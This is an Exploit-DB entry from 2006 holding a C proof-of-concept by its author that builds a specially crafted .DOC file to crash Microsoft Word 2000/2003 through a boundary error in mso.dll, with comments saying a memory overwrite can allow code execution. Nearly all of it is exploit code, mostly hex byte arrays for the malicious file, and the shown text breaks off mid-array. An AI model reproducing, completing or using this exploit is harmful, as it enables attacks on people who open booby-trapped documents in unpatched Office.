Exploit-DB #2001
Description: Microsoft Word 2000/2003 - Unchecked Boundary Condition
Type: dos
Platform: windows
Date: 2006-07-10
Author: naveed afzal

Exploit:
/*------------------------------------------------------------
 *    Microsoft Word unchecked boundary condition vulnerability.
 *  ---------------------------------------------------------
 *    One of the functions in mso.dll (older versions mso9.dll)
 *    cannot properly handle the specially crafted files causing
 *    invalid memory acess and in some cases arbitrary overwrites.
 *   The exported function LsCreateLine (entry : mso_203) contains a boundary
 *    error while parsing certain specially crafted .DOC files,resulting in
 *    an invalid memory access.
 *
 *    Following proof of concept code generates a .doc file , opening
 *    the file will cause an access violation, in mso.dll.
 *    Code execution is possible if 4-bytes of arbitrary memory
 *    is overwritten. Apparently this is not specific to MS Word
 *    only but other Office products are also vulnerable which use these
 *    functions. No other user interaction required in order to trigger the vulnerability.
 *
 *    Affected Products: Microsoft Office
 *    Tested against : Microsoft Word 2003,2002,2000
 *    
 *    // naveed afzal
 *------------------------------------------------------------*/
#include <string.h>
#include <stdio.h>

unsigned char p1[]={
    0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x03, 0x00, 0xFE, 0xFF, 0x09, 0x00,
    0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x00, 0x00
};


unsigned char p2[]={
    0xEC, 0xA5, 0xC1, 0x00, 0x37, 0x20, 0x09, 0x04, 0x00, 0x00, 0xF8, 0x12, 0xBF, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x71, 0x0F, 0x00, 0x00,
    0x0E, 0x00, 0x62, 0x6A, 0x62, 0x6A, 0x55, 0x16, 0x55, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x04, 0x16, 0x00,
    0x2D, 0x28, 0x00, 0x00, 0x37, 0x7C, 0x00, 0x00, 0x37, 0x7C, 0x00, 0x00, 0x91, 0x0A, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0xD2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x0F, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x01,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x01, 0x00, 0x00, 0x4A, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x4A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x05, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x8A, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x05, 0x00, 0x00, 0x14, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0x05, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x50, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x0E, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x50, 0x0E, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x88, 0x0E, 0x00, 0x00, 0x1C, 0x00,
    0x00, 0x00, 0xA4, 0x0E, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x9E, 0x05, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x16, 0x4C, 0x00, 0x00, 0x38, 0x02, 0x00, 0x00, 0xDC, 0x0E, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xDC, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0x0E, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xDC, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x0F, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xCB, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0x32, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xCB, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0x4B, 0x00, 0x00, 0x02, 0x00,
    0x00, 0x00, 0x97, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x4B, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x97, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x4B, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x97, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x4B, 0x00, 0x00, 0x24, 0x00,
    0x00, 0x00, 0x4E, 0x4E, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x6E, 0x50, 0x00, 0x00, 0x5C, 0x00,
    0x00, 0x00, 0xBB, 0x4B, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x05, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xCB, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0x31, 0x00, 0x00, 0x4E, 0x01,
    0x00, 0x00, 0xCB, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0x32, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xCB, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBB, 0x4B, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xA3, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x4A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0x0E, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x0F, 0x00, 0x00, 0x43, 0x22,
    0x00, 0x00, 0xD0, 0x4B, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0xA3, 0x35, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xA3, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3, 0x35, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0xCB, 0x32, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x4A, 0x01, 0x00, 0x00, 0x10, 0x03,
    0x00, 0x00, 0xDC, 0x0E, 0x00, 0x00, 0x5E, 0x00, 0x00, 0x00, 0x8A, 0x05, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x3A, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0x4B, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3, 0x35, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0